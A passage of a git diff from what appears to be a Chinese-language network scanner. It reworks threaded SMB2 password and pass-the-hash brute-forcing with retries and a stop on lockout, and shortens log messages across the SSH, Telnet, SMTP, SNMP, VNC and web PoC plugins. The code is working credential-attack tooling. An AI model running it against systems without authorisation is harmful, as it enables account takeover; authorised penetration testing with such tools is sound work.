fmt.Errorf("账号已锁定") + err = fmt.Errorf("账号锁定") case strings.Contains(errMsg, "STATUS_ACCESS_DENIED"): - err = fmt.Errorf("访问被拒绝") + err = fmt.Errorf("拒绝访问") case strings.Contains(errMsg, "STATUS_ACCOUNT_DISABLED"): - err = fmt.Errorf("账号已禁用") + err = fmt.Errorf("账号禁用") case strings.Contains(errMsg, "STATUS_PASSWORD_EXPIRED"): - err = fmt.Errorf("密码已过期") + err = fmt.Errorf("密码过期") case strings.Contains(errMsg, "STATUS_USER_SESSION_DELETED"): - return flag, fmt.Errorf("会话已断开") + return false, fmt.Errorf("会话断开") default: - err = fmt.Errorf("认证失败") // 简化错误信息 + err = fmt.Errorf("认证失败") } } signal <- struct{}{} - return flag, err + return false, err } func doWithTimeOut(info *Common.HostInfo, user string, pass string) (flag bool, err error) { @@ -142,7 +160,6 @@ func doWithTimeOut(info *Common.HostInfo, user string, pass string) (flag bool, case r := <-result: return r.success, r.err case <-time.After(time.Duration(Common.Timeout) * time.Second): - // 尝试从result通道读取,避免协程泄露 select { case r := <-result: return r.success, r.err diff --git a/Plugins/SMB2.go b/Plugins/SMB2.go index c133a52..2fccf2f 100644 --- a/Plugins/SMB2.go +++ b/Plugins/SMB2.go @@ -27,190 +27,155 @@ func SmbScan2(info *Common.HostInfo) (tmperr error) { return smbPasswordScan(info) } -// smbHashScan 使用哈希进行认证扫描 -func smbHashScan(info *Common.HostInfo) error { - maxRetries := Common.MaxRetries - threads := Common.BruteThreads - hasprint := false - - // 创建任务通道 - taskChan := make(chan struct { - user string - hash []byte - }, len(Common.Userdict["smb"])*len(Common.HashBytes)) - - resultChan := make(chan error, threads) - - // 生成所有用户名和哈希组合任务 - for _, user := range Common.Userdict["smb"] { - for _, hash := range Common.HashBytes { - taskChan <- struct { - user string - hash []byte - }{user, hash} - } +// smbPasswordScan 使用密码进行认证扫描 +func smbPasswordScan(info *Common.HostInfo) error { + if Common.DisableBrute { + return nil } - close(taskChan) - // 启动工作线程 + threads := Common.BruteThreads + var wg sync.WaitGroup + successChan := make(chan struct{}, 1) + hasprint := false var hasPrintMutex sync.Mutex - for i := 0; i < threads; i++ { - wg.Add(1) - go func() { - defer wg.Done() - startTime := time.Now().Unix() + // 改成按用户分组处理 + for _, user := range Common.Userdict["smb"] { + // 为每个用户创建密码任务通道 + taskChan := make(chan string, len(Common.Passwords)) - for task := range taskChan { - // 重试循环 - for retryCount := 0; retryCount < maxRetries; retryCount++ { - // 检查是否超时 - if time.Now().Unix()-startTime > int64(Common.Timeout) { - resultChan <- fmt.Errorf("扫描超时") + // 生成该用户的所有密码任务 + for _, pass := range Common.Passwords { + pass = strings.ReplaceAll(pass, "{user}", user) + taskChan <- pass + } + close(taskChan) + + // 启动工作线程 + for i := 0; i < threads; i++ { + wg.Add(1) + go func(username string) { + defer wg.Done() + + for pass := range taskChan { + select { + case <-successChan: return + default: + time.Sleep(100 * time.Millisecond) } - // 执行SMB2认证 - done := make(chan struct { - success bool - err error - printed bool - }) - - go func(user string, hash []byte) { + // 重试循环 + for retryCount := 0; retryCount < Common.MaxRetries; retryCount++ { hasPrintMutex.Lock() currentHasPrint := hasprint hasPrintMutex.Unlock() - success, err, printed := Smb2Con(info, user, "", hash, currentHasPrint) + success, err, printed := Smb2Con(info, username, pass, []byte{}, currentHasPrint) if printed { hasPrintMutex.Lock() hasprint = true hasPrintMutex.Unlock() + time.Sleep(100 * time.Millisecond) } - done <- struct { - success bool - err error - printed bool - }{success, err, printed} - }(task.user, task.hash) - - // 等待结果或超时 - select { - case result := <-done: - if result.success { - logSuccessfulAuth(info, task.user, "", task.hash) - resultChan <- nil + if success { + logSuccessfulAuth(info, username, pass, []byte{}) + time.Sleep(100 * time.Millisecond) + successChan <- struct{}{} return } - if result.err != nil { - logFailedAuth(info, task.user, "", task.hash, result.err) + if err != nil { + logFailedAuth(info, username, pass, []byte{}, err) + time.Sleep(100 * time.Millisecond) - // 检查是否需要重试 - if retryErr := Common.CheckErrs(result.err); retryErr != nil { - if retryCount == maxRetries-1 { - resultChan <- result.err - return + // 检查是否账户锁定 + if strings.Contains(err.Error(), "user account has been automatically locked") { + // 发现账户锁定,清空任务通道并返回 + for range taskChan { + // 清空通道 } - continue // 继续重试 + return + } + + // 其他登录失败情况 + if strings.Contains(err.Error(), "LOGIN_FAILED") || + strings.Contains(err.Error(), "Authentication failed") || + strings.Contains(err.Error(), "attempted logon is invalid") || + strings.Contains(err.Error(), "bad username or authentication") { + break + } + + if retryCount < Common.MaxRetries-1 { + time.Sleep(time.Second * time.Duration(retryCount+2)) + continue } } - - case <-time.After(time.Duration(Common.Timeout) * time.Second): - logFailedAuth(info, task.user, "", task.hash, fmt.Errorf("连接超时")) + break } - - break // 如果不需要重试,跳出重试循环 } + }(user) + } - if len(Common.HashValue) > 0 { - break - } - } - resultChan <- nil - }() - } + wg.Wait() // 等待当前用户的所有密码尝试完成 - // 等待所有线程完成 - go func() { - wg.Wait() - close(resultChan) - }() - - // 检查结果 - for err := range resultChan { - if err != nil { - if retryErr := Common.CheckErrs(err); retryErr != nil { - return err - } + // 检查是否已经找到正确密码 + select { + case <-successChan: + return nil + default: } } + time.Sleep(200 * time.Millisecond) return nil } -// smbPasswordScan 使用密码进行认证扫描 -func smbPasswordScan(info *Common.HostInfo) error { - maxRetries := Common.MaxRetries - threads := Common.BruteThreads - hasprint := false - - // 创建任务通道 - taskChan := make(chan struct { - user string - pass string - }, len(Common.Userdict["smb"])*len(Common.Passwords)) - - resultChan := make(chan error, threads) - - // 生成所有用户名密码组合任务 - for _, user := range Common.Userdict["smb"] { - for _, pass := range Common.Passwords { - pass = strings.ReplaceAll(pass, "{user}", user) - taskChan <- struct { - user string - pass string - }{user, pass} - } +func smbHashScan(info *Common.HostInfo) error { + if Common.DisableBrute { + return nil } - close(taskChan) - // 启动工作线程 + threads := Common.BruteThreads var wg sync.WaitGroup + successChan := make(chan struct{}, 1) + hasprint := false var hasPrintMutex sync.Mutex - for i := 0; i < threads; i++ { - wg.Add(1) - go func() { - defer wg.Done() - startTime := time.Now().Unix() + // 按用户分组处理 + for _, user := range Common.Userdict["smb"] { + // 为每个用户创建hash任务通道 + taskChan := make(chan []byte, len(Common.HashBytes)) - for task := range taskChan { - // 重试循环 - for retryCount := 0; retryCount < maxRetries; retryCount++ { - // 检查是否超时 - if time.Now().Unix()-startTime > int64(Common.Timeout) { - resultChan <- fmt.Errorf("扫描超时") + // 生成该用户的所有hash任务 + for _, hash := range Common.HashBytes { + taskChan <- hash + } + close(taskChan) + + // 启动工作线程 + for i := 0; i < threads; i++ { + wg.Add(1) + go func(username string) { + defer wg.Done() + + for hash := range taskChan { + select { + case <-successChan: return + default: } - // 执行SMB2认证 - done := make(chan struct { - success bool - err error - printed bool - }) - - go func(user, pass string) { + // 重试循环 + for retryCount := 0; retryCount < Common.MaxRetries; retryCount++ { hasPrintMutex.Lock() currentHasPrint := hasprint hasPrintMutex.Unlock() - success, err, printed := Smb2Con(info, user, pass, []byte{}, currentHasPrint) + success, err, printed := Smb2Con(info, username, "", hash, currentHasPrint) if printed { hasPrintMutex.Lock() @@ -218,62 +183,50 @@ func smbPasswordScan(info *Common.HostInfo) error { hasPrintMutex.Unlock() } - done <- struct { - success bool - err error - printed bool - }{success, err, printed} - }(task.user, task.pass) - - // 等待结果或超时 - select { - case result := <-done: - if result.success { - logSuccessfulAuth(info, task.user, task.pass, []byte{}) - resultChan <- nil + if success { + logSuccessfulAuth(info, username, "", hash) + successChan <- struct{}{} return } - if result.err != nil { - logFailedAuth(info, task.user, task.pass, []byte{}, result.err) + if err != nil { + logFailedAuth(info, username, "", hash, err) - // 检查是否需要重试 - if retryErr := Common.CheckErrs(result.err); retryErr != nil { - if retryCount == maxRetries-1 { - resultChan <- result.err - return + // 检查是否账户锁定 + if strings.Contains(err.Error(), "user account has been automatically locked") { + // 发现账户锁定,清空任务通道并返回 + for range taskChan { + // 清空通道 } - continue // 继续重试 + return + } + + // 其他登录失败情况 + if strings.Contains(err.Error(), "LOGIN_FAILED") || + strings.Contains(err.Error(), "Authentication failed") || + strings.Contains(err.Error(), "attempted logon is invalid") || + strings.Contains(err.Error(), "bad username or authentication") { + break + } + + if retryCount < Common.MaxRetries-1 { + time.Sleep(time.Second * time.Duration(retryCount+1)) + continue } } - - case <-time.After(time.Duration(Common.Timeout) * time.Second): - logFailedAuth(info, task.user, task.pass, []byte{}, fmt.Errorf("连接超时")) + break } - - break // 如果不需要重试,跳出重试循环 } + }(user) + } - if len(Common.HashValue) > 0 { - break - } - } - resultChan <- nil - }() - } + wg.Wait() // 等待当前用户的所有hash尝试完成 - // 等待所有线程完成 - go func() { - wg.Wait() - close(resultChan) - }() - - // 检查结果 - for err := range resultChan { - if err != nil { - if retryErr := Common.CheckErrs(err); retryErr != nil { - return err - } + // 检查是否已经找到正确凭据 + select { + case <-successChan: + return nil + default: } } @@ -284,17 +237,17 @@ func smbPasswordScan(info *Common.HostInfo) error { func logSuccessfulAuth(info *Common.HostInfo, user, pass string, hash []byte) { var result string if Common.Domain != "" { - result = fmt.Sprintf("[+] SMB2认证成功 %v:%v Domain:%v\\%v ", + result = fmt.Sprintf("SMB2认证成功 %s:%s %s\\%s", info.Host, info.Ports, Common.Domain, user) } else { - result = fmt.Sprintf("[+] SMB2认证成功 %v:%v User:%v ", + result = fmt.Sprintf("SMB2认证成功 %s:%s %s", info.Host, info.Ports, user) } if len(hash) > 0 { - result += fmt.Sprintf("HashValue:%v", Common.HashValue) + result += fmt.Sprintf(" Hash:%s", Common.HashValue) } else { - result += fmt.Sprintf("Pass:%v", pass) + result += fmt.Sprintf(" Pass:%s", pass) } Common.LogSuccess(result) } @@ -303,10 +256,10 @@ func logSuccessfulAuth(info *Common.HostInfo, user, pass string, hash []byte) { func logFailedAuth(info *Common.HostInfo, user, pass string, hash []byte, err error) { var errlog string if len(hash) > 0 { - errlog = fmt.Sprintf("[-] SMB2认证失败 %v:%v User:%v HashValue:%v Err:%v", + errlog = fmt.Sprintf("SMB2认证失败 %s:%s %s Hash:%s %v", info.Host, info.Ports, user, Common.HashValue, err) } else { - errlog = fmt.Sprintf("[-] SMB2认证失败 %v:%v User:%v Pass:%v Err:%v", + errlog = fmt.Sprintf("SMB2认证失败 %s:%s %s:%s %v", info.Host, info.Ports, user, pass, err) } errlog = strings.ReplaceAll(errlog, "\n", " ") @@ -379,24 +332,20 @@ func Smb2Con(info *Common.HostInfo, user string, pass string, hash []byte, haspr // logShareInfo 记录SMB共享信息 func logShareInfo(info *Common.HostInfo, user string, pass string, hash []byte, shares []string) { var result string - - // 构建基础信息 if Common.Domain != "" { - result = fmt.Sprintf("[*] SMB2共享信息 %v:%v Domain:%v\\%v ", + result = fmt.Sprintf("SMB2共享信息 %s:%s %s\\%s", info.Host, info.Ports, Common.Domain, user) } else { - result = fmt.Sprintf("[*] SMB2共享信息 %v:%v User:%v ", + result = fmt.Sprintf("SMB2共享信息 %s:%s %s", info.Host, info.Ports, user) } - // 添加认证信息 if len(hash) > 0 { - result += fmt.Sprintf("HashValue:%v ", Common.HashValue) + result += fmt.Sprintf(" Hash:%s", Common.HashValue) } else { - result += fmt.Sprintf("Pass:%v ", pass) + result += fmt.Sprintf(" Pass:%s", pass) } - // 添加共享列表 - result += fmt.Sprintf("可用共享: %v", shares) - Common.LogSuccess(result) + result += fmt.Sprintf(" 共享:%v", shares) + Common.LogInfo(result) } diff --git a/Plugins/SMTP.go b/Plugins/SMTP.go index 5ed3ec1..9b332ac 100644 --- a/Plugins/SMTP.go +++ b/Plugins/SMTP.go @@ -102,7 +102,7 @@ func SmtpScan(info *Common.HostInfo) (tmperr error) { // 处理错误情况 if err != nil { - errlog := fmt.Sprintf("[-] SMTP服务 %v:%v 尝试失败 用户名: %v 密码: %v 错误: %v", + errlog := fmt.Sprintf("SMTP服务 %v:%v 尝试失败 用户名: %v 密码: %v 错误: %v", info.Host, info.Ports, task.user, task.pass, err) Common.LogError(errlog) @@ -180,7 +180,7 @@ func SmtpConn(info *Common.HostInfo, user string, pass string) (bool, error) { } // 如果成功 - result := fmt.Sprintf("[+] SMTP服务 %v:%v ", host, port) + result := fmt.Sprintf("SMTP服务 %v:%v ", host, port) if user != "" { result += fmt.Sprintf("爆破成功 用户名: %v 密码: %v", user, pass) } else { diff --git a/Plugins/SNMP.go b/Plugins/SNMP.go index 80a3ec2..4d46adb 100644 --- a/Plugins/SNMP.go +++ b/Plugins/SNMP.go @@ -71,7 +71,7 @@ func SNMPScan(info *Common.HostInfo) (tmperr error) { err = result.err if result.success && err == nil { // 连接成功 - successLog := fmt.Sprintf("[+] SNMP服务 %v:%v community: %v 连接成功", + successLog := fmt.Sprintf("SNMP服务 %v:%v community: %v 连接成功", info.Host, info.Ports, community) Common.LogSuccess(successLog) resultChan <- nil @@ -83,7 +83,7 @@ func SNMPScan(info *Common.HostInfo) (tmperr error) { // 处理错误情况 if err != nil { - errlog := fmt.Sprintf("[-] SNMP服务 %v:%v 尝试失败 community: %v 错误: %v", + errlog := fmt.Sprintf("SNMP服务 %v:%v 尝试失败 community: %v 错误: %v", info.Host, info.Ports, community, err) Common.LogError(errlog) @@ -150,7 +150,7 @@ func SNMPConnect(info *Common.HostInfo, community string, portNum int) (bool, er } if len(result.Variables) > 0 { - success := fmt.Sprintf("[+] SNMP服务 %v:%v community: %v", + success := fmt.Sprintf("SNMP服务 %v:%v community: %v", host, portNum, community) // 使用portNum替换port if result.Variables[0].Type != gosnmp.NoSuchObject { diff --git a/Plugins/SSH.go b/Plugins/SSH.go index b305d53..ecf0df9 100644 --- a/Plugins/SSH.go +++ b/Plugins/SSH.go @@ -71,7 +71,7 @@ func SshScan(info *Common.HostInfo) (tmperr error) { } if err != nil { - errlog := fmt.Sprintf("[-] SSH认证失败 %v:%v User:%v Pass:%v Err:%v", + errlog := fmt.Sprintf("SSH认证失败 %v:%v User:%v Pass:%v Err:%v", info.Host, info.Ports, task.user, task.pass, err) Common.LogError(errlog) @@ -120,12 +120,12 @@ func SshConn(info *Common.HostInfo, user string, pass string) (flag bool, err er if Common.SshKeyPath != "" { pemBytes, err := ioutil.ReadFile(Common.SshKeyPath) if err != nil { - return false, fmt.Errorf("[-] 读取密钥失败: %v", err) + return false, fmt.Errorf("读取密钥失败: %v", err) } signer, err := ssh.ParsePrivateKey(pemBytes) if err != nil { - return false, fmt.Errorf("[-] 解析密钥失败: %v", err) + return false, fmt.Errorf("解析密钥失败: %v", err) } auth = []ssh.AuthMethod{ssh.PublicKeys(signer)} } else { @@ -161,18 +161,18 @@ func SshConn(info *Common.HostInfo, user string, pass string) (flag bool, err er return true, err } if Common.SshKeyPath != "" { - Common.LogSuccess(fmt.Sprintf("[+] SSH密钥认证成功 %v:%v\n命令输出:\n%v", + Common.LogSuccess(fmt.Sprintf("SSH密钥认证成功 %v:%v\n命令输出:\n%v", info.Host, info.Ports, string(output))) } else { - Common.LogSuccess(fmt.Sprintf("[+] SSH认证成功 %v:%v User:%v Pass:%v\n命令输出:\n%v", + Common.LogSuccess(fmt.Sprintf("SSH认证成功 %v:%v User:%v Pass:%v\n命令输出:\n%v", info.Host, info.Ports, user, pass, string(output))) } } else { if Common.SshKeyPath != "" { - Common.LogSuccess(fmt.Sprintf("[+] SSH密钥认证成功 %v:%v", + Common.LogSuccess(fmt.Sprintf("SSH密钥认证成功 %v:%v", info.Host, info.Ports)) } else { - Common.LogSuccess(fmt.Sprintf("[+] SSH认证成功 %v:%v User:%v Pass:%v", + Common.LogSuccess(fmt.Sprintf("SSH认证成功 %v:%v User:%v Pass:%v", info.Host, info.Ports, user, pass)) } } diff --git a/Plugins/Telnet.go b/Plugins/Telnet.go index 5f6a9ed..8404729 100644 --- a/Plugins/Telnet.go +++ b/Plugins/Telnet.go @@ -81,14 +81,14 @@ func TelnetScan(info *Common.HostInfo) (tmperr error) { err = result.err if result.noAuth { // 无需认证 - result := fmt.Sprintf("[+] Telnet服务 %v:%v 无需认证", + result := fmt.Sprintf("Telnet服务 %v:%v 无需认证", info.Host, info.Ports) Common.LogSuccess(result) resultChan <- nil return } else if result.success { // 成功爆破 - result := fmt.Sprintf("[+] Telnet服务 %v:%v 用户名:%v 密码:%v", + result := fmt.Sprintf("Telnet服务 %v:%v 用户名:%v 密码:%v", info.Host, info.Ports, task.user, task.pass) Common.LogSuccess(result) resultChan <- nil @@ -100,7 +100,7 @@ func TelnetScan(info *Common.HostInfo) (tmperr error) { // 处理错误情况 if err != nil { - errlog := fmt.Sprintf("[-] Telnet连接失败 %v:%v 用户名:%v 密码:%v 错误:%v", + errlog := fmt.Sprintf("Telnet连接失败 %v:%v 用户名:%v 密码:%v 错误:%v", info.Host, info.Ports, task.user, task.pass, err) Common.LogError(errlog) diff --git a/Plugins/VNC.go b/Plugins/VNC.go index ae71d74..70d5101 100644 --- a/Plugins/VNC.go +++ b/Plugins/VNC.go @@ -67,7 +67,7 @@ func VncScan(info *Common.HostInfo) (tmperr error) { err = result.err if result.success && err == nil { // 连接成功 - successLog := fmt.Sprintf("[+] %s://%v:%v 密码: %v", + successLog := fmt.Sprintf("%s://%v:%v 密码: %v", modename, info.Host, info.Ports, pass) Common.LogSuccess(successLog) resultChan <- nil @@ -79,7 +79,7 @@ func VncScan(info *Common.HostInfo) (tmperr error) { // 处理错误情况 if err != nil { - errlog := fmt.Sprintf("[-] %s://%v:%v 尝试密码: %v 错误: %v", + errlog := fmt.Sprintf("%s://%v:%v 尝试密码: %v 错误: %v", modename, info.Host, info.Ports, pass, err) Common.LogError(errlog) diff --git a/Plugins/WebTitle.go b/Plugins/WebTitle.go index 9719a23..4abdcbb 100644 --- a/Plugins/WebTitle.go +++ b/Plugins/WebTitle.go @@ -35,7 +35,7 @@ func WebTitle(info *Common.HostInfo) error { if !Common.DisablePoc && err == nil { WebScan.WebScan(info) } else { - errlog := fmt.Sprintf("[-] 网站标题 %v %v", info.Url, err) + errlog := fmt.Sprintf("网站标题 %v %v", info.Url, err) Common.LogError(errlog) } @@ -185,7 +185,7 @@ func geturl(info *Common.HostInfo, flag int, CheckData []WebScan.CheckDatas) (er } // 输出结果 - result := fmt.Sprintf("[*] 网站标题 %-25v 状态码:%-3v 长度:%-6v 标题:%v", + result := fmt.Sprintf("网站标题 %-25v 状态码:%-3v 长度:%-6v 标题:%v", resp.Request.URL, resp.StatusCode, length, title) if reurl != "" { result += fmt.Sprintf(" 重定向地址: %s", reurl) @@ -297,7 +297,7 @@ func GetProtocol(host string, Timeout int64) (protocol string) { if conn != nil { defer func() { if err := recover(); err != nil { - Common.LogError(err) + Common.LogError(fmt.Sprintf("连接关闭时发生错误: %v", err)) } }() conn.Close() diff --git a/WebScan/lib/Check.go b/WebScan/lib/Check.go index 79f96cd..7dd442e 100644 --- a/WebScan/lib/Check.go +++ b/WebScan/lib/Check.go @@ -44,15 +44,10 @@ func CheckMultiPoc(req *http.Request, pocs []*Poc, workers int) { for i := 0; i < workers; i++ { go func() { for task := range tasks { - // 执行POC检测 isVulnerable, details, vulName := executePoc(task.Req, task.Poc) if isVulnerable { - // 格式化输出结果 - result := fmt.Sprintf("[+] [发现漏洞] 目标: %s\n"+ - " 漏洞类型: %s\n"+ - " 漏洞名称: %s\n"+ - " 详细信息: %s", + result := fmt.Sprintf("目标: %s\n 漏洞类型: %s\n 漏洞名称: %s\n 详细信息: %s", task.Req.URL, task.Poc.Name, vulName, @@ -101,13 +96,13 @@ func executePoc(oReq *http.Request, p *Poc) (bool, error, string) { // 创建执行环境 env, err := NewEnv(&config) if err != nil { - return false, fmt.Errorf("[-] 创建%s的执行环境失败: %v", p.Name, err), "" + return false, fmt.Errorf("执行环境错误 %s: %v", p.Name, err), "" } // 解析请求 req, err := ParseRequest(oReq) if err != nil { - return false, fmt.Errorf("[-] 解析%s的请求失败: %v", p.Name, err), "" + return false, fmt.Errorf("请求解析错误 %s: %v", p.Name, err), "" } // 初始化变量映射 @@ -126,7 +121,7 @@ func executePoc(oReq *http.Request, p *Poc) (bool, error, string) { continue } if err, _ = evalset(env, variableMap, key, expression); err != nil { - Common.LogError(fmt.Sprintf("[-] 执行%s的设置项失败: %v", p.Name, err)) + Common.LogError(fmt.Sprintf("设置项执行错误 %s: %v", p.Name, err)) } } @@ -167,14 +162,14 @@ func executePoc(oReq *http.Request, p *Poc) (bool, error, string) { } req.Url.Path = strings.ReplaceAll(req.Url.Path, " ", "%20") - // 创建新的请求 + // 创建新请求 newRequest, err := http.NewRequest( rule.Method, fmt.Sprintf("%s://%s%s", req.Url.Scheme, req.Url.Host, string([]rune(req.Url.Path))), strings.NewReader(rule.Body), ) if err != nil { - return false, fmt.Errorf("创建新请求失败: %v", err) + return false, fmt.Errorf("请求创建错误: %v", err) } // 设置请求头 @@ -247,8 +242,9 @@ func executePoc(oReq *http.Request, p *Poc) (bool, error, string) { func doSearch(re string, body string) map[string]string { // 编译正则表达式 r, err := regexp.Compile(re) + // 正则表达式编译 if err != nil { - Common.LogError(fmt.Sprintf("正则表达式编译失败: %v", err)) + Common.LogError(fmt.Sprintf("正则编译错误: %v", err)) return nil } @@ -323,8 +319,9 @@ func newReverse() *Reverse { // 构建URL urlStr := fmt.Sprintf("http://%s.%s", subdomain, ceyeDomain) u, err := url.Parse(urlStr) + // 解析反连URL if err != nil { - Common.LogError(fmt.Sprintf("解析反连URL失败: %v", err)) + Common.LogError(fmt.Sprintf("反连URL解析错误: %v", err)) return &Reverse{} } @@ -463,13 +460,11 @@ func clusterpoc(oReq *http.Request, p *Poc, variableMap map[string]interface{}, if success { // 处理成功情况 if currentRule.Continue { - // 特殊POC的输出处理 + targetURL := fmt.Sprintf("%s://%s%s", req.Url.Scheme, req.Url.Host, req.Url.Path) if p.Name == "poc-yaml-backup-file" || p.Name == "poc-yaml-sql-file" { - Common.LogSuccess(fmt.Sprintf("[+] 检测到漏洞 %s://%s%s %s", - req.Url.Scheme, req.Url.Host, req.Url.Path, p.Name)) + Common.LogSuccess(fmt.Sprintf("检测到漏洞 %s %s", targetURL, p.Name)) } else { - Common.LogSuccess(fmt.Sprintf("[+] 检测到漏洞 %s://%s%s %s 参数:%v", - req.Url.Scheme, req.Url.Host, req.Url.Path, p.Name, currentParams)) + Common.LogSuccess(fmt.Sprintf("检测到漏洞 %s %s 参数:%v", targetURL, p.Name, currentParams)) } continue } @@ -477,8 +472,8 @@ func clusterpoc(oReq *http.Request, p *Poc, variableMap map[string]interface{}, // 记录成功的参数组合 strMap = append(strMap, currentParams...) if ruleIndex == len(p.Rules)-1 { - Common.LogSuccess(fmt.Sprintf("[+] 检测到漏洞 %s://%s%s %s 参数:%v", - req.Url.Scheme, req.Url.Host, req.Url.Path, p.Name, strMap)) + targetURL := fmt.Sprintf("%s://%s%s", req.Url.Scheme, req.Url.Host, req.Url.Path) + Common.LogSuccess(fmt.Sprintf("检测到漏洞 %s %s 参数:%v", targetURL, p.Name, strMap)) return false, nil } break paramLoop @@ -600,9 +595,9 @@ func clustersend(oReq *http.Request, variableMap map[string]interface{}, req *Re reqURL := fmt.Sprintf("%s://%s%s", req.Url.Scheme, req.Url.Host, req.Url.Path) newRequest, err := http.NewRequest(rule.Method, reqURL, strings.NewReader(rule.Body)) if err != nil { - return false, fmt.Errorf("[-] 创建HTTP请求失败: %v", err) + return false, fmt.Errorf("HTTP请求错误: %v", err) } - defer func() { newRequest = nil }() // 及时释放资源 + defer func() { newRequest = nil }() // 设置请求头 newRequest.Header = oReq.Header.Clone() @@ -613,7 +608,7 @@ func clustersend(oReq *http.Request, variableMap map[string]interface{}, req *Re // 发送请求 resp, err := DoRequest(newRequest, rule.FollowRedirects) if err != nil { - return false, fmt.Errorf("[-] 发送请求失败: %v", err) + return false, fmt.Errorf("请求发送错误: %v", err) } // 更新响应到变量映射 @@ -638,11 +633,11 @@ func clustersend(oReq *http.Request, variableMap map[string]interface{}, req *Re out, err := Evaluate(env, rule.Expression, variableMap) if err != nil { if strings.Contains(err.Error(), "Syntax error") { - Common.LogError(fmt.Sprintf("[-] CEL表达式语法错误 [%s]: %v", rule.Expression, err)) + Common.LogError(fmt.Sprintf("CEL语法错误 [%s]: %v", rule.Expression, err)) } return false, err } - + // 检查表达式执行结果 if fmt.Sprintf("%v", out) == "false" { return false, nil diff --git a/go.mod b/go.mod index de61c93..2cf1893 100644 --- a/go.mod +++ b/go.mod @@ -8,7 +8,7 @@ require ( github.com/IBM/sarama v1.43.3 github.com/Ullaakut/nmap v2.0.2+incompatible github.com/denisenkom/go-mssqldb v0.12.3 - github.com/fatih/color v1.7.0 + github.com/fatih/color v1.18.0 github.com/go-ldap/ldap/v3 v3.4.9 github.com/go-ole/go-ole v1.3.0 github.com/go-resty/resty/v2 v2.16.2 @@ -66,8 +66,8 @@ require ( github.com/jcmturner/rpc/v2 v2.0.3 // indirect github.com/klauspost/compress v1.17.9 // indirect github.com/lunixbochs/struc v0.0.0-20200707160740-784aaebc1d40 // indirect - github.com/mattn/go-colorable v0.0.9 // indirect - github.com/mattn/go-isatty v0.0.3 // indirect + github.com/mattn/go-colorable v0.1.13 // indirect + github.com/mattn/go-isatty v0.0.20 // indirect github.com/pierrec/lz4/v4 v4.1.21 // indirect github.com/rcrowley/go-metrics v0.0.0-20201227073835-cf1acfcdf475 // indirect github.com/rogpeppe/go-internal v1.13.1 // indirect diff --git a/go.sum b/go.sum index 12d92df..eae3d4f 100644 --- a/go.sum +++ b/go.sum @@ -66,6 +66,8 @@ github.com/eapache/queue v1.1.0 h1:YOEu7KNc61ntiQlcEeUIoDTJ2o8mQznoNvUhiigpIqc= github.com/eapache/queue v1.1.0/go.mod h1:6eCeP0CKFpHLu8blIFXhExK/dRa7WDZfr6jVFPTqq+I= github.com/fatih/color v1.7.0 h1:DkWD4oS2D8LGGgTQ6IvwJJXSL5Vp2ffcQg58nFV38Ys= github.com/fatih/color v1.7.0/go.mod h1:Zm6kSWBoL9eyXnKyktHP6abPY2pDugNf5KwzbycvMj4= +github.com/fatih/color v1.18.0 h1:S8gINlzdQ840/4pfAwic/ZE0djQEH3wM94VfqLTZcOM= +github.com/fatih/color v1.18.0/go.mod h1:4FelSpRwEGDpQ12mAdzqdOukCy4u8WUtOY6lkT/6HfU= github.com/fortytw2/leaktest v1.3.0 h1:u8491cBMTQ8ft8aeV+adlcytMZylmA5nnwwkRZjI8vw= github.com/fortytw2/leaktest v1.3.0/go.mod h1:jDsjWgpAGjm2CA7WthBh/CdZYEPF31XHquHwclZch5g= github.com/fsnotify/fsnotify v1.4.7/go.mod h1:jwhsz4b93w/PPRr/qN1Yymfu8t87LnFCMoQvtojpjFo= @@ -235,8 +237,13 @@ github.com/lunixbochs/struc v0.0.0-20200707160740-784aaebc1d40/go.mod h1:vy1vK6w github.com/magiconair/properties v1.8.1/go.mod h1:PppfXfuXeibc/6YijjN8zIbojt8czPbwD3XqdrwzmxQ= github.com/mattn/go-colorable v0.0.9 h1:UVL0vNpWh04HeJXV0KLcaT7r06gOH2l4OW6ddYRUIY4= github.com/mattn/go-colorable v0.0.9/go.mod h1:9vuHe8Xs5qXnSaW/c/ABM9alt+Vo+STaOChaDxuIBZU= +github.com/mattn/go-colorable v0.1.13 h1:fFA4WZxdEF4tXPZVKMLwD8oUnCTTo08duU7wxecdEvA= +github.com/mattn/go-colorable v0.1.13/go.mod h1:7S9/ev0klgBDR4GtXTXX8a3vIGJpMovkB8vQcUbaXHg= github.com/mattn/go-isatty v0.0.3 h1:ns/ykhmWi7G9O+8a448SecJU3nSMBXJfqQkl0upE1jI= github.com/mattn/go-isatty v0.0.3/go.mod h1:M+lRXTBqGeGNdLjl/ufCoiOlB5xdOkqRJdNxMWT7Zi4= +github.com/mattn/go-isatty v0.0.16/go.mod h1:kYGgaQfpe5nmfYZH+SKPsOc2e4SrIfOl2e/yFXSvRLM= +github.com/mattn/go-isatty v0.0.20 h1:xfD0iDuEKnDkl03q4limB+vH+GxLEtL/jb4xVJSWWEY= +github.com/mattn/go-isatty v0.0.20/go.mod h1:W+V8PltTTMOvKvAeJH7IuucS94S2C6jfK/D7dTCTo3Y= github.com/matttproud/golang_protobuf_extensions v1.0.1/go.mod h1:D8He9yQNgCq6Z5Ld7szi9bcBfOoFv/3dc6xSMkL2PC0= github.com/miekg/dns v1.0.14/go.mod h1:W1PPwlIAgtquWBMBEV9nkV9Cazfe8ScdGz/Lj7v3Nrg= github.com/mitchellh/cli v1.0.0/go.mod h1:hNIlj7HEI86fIcpObd7a0FcrxTWetlwJDGcceTlRvqc= @@ -480,8 +487,10 @@ golang.org/x/sys v0.0.0-20210630005230-0f9fa26af87c/go.mod h1:oPkhp1MJrh7nUepCBc golang.org/x/sys v0.0.0-20211124211545-fe61309f8881/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= golang.org/x/sys v0.0.0-20220520151302-bc2c85ada10a/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= golang.org/x/sys v0.0.0-20220722155257-8c9f86f7a55f/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= +golang.org/x/sys v0.0.0-20220811171246-fbc7d0a398ab/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= golang.org/x/sys v0.1.0/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= golang.org/x/sys v0.5.0/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= +golang.org/x/sys v0.6.0/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= golang.org/x/sys v0.8.0/go.mod 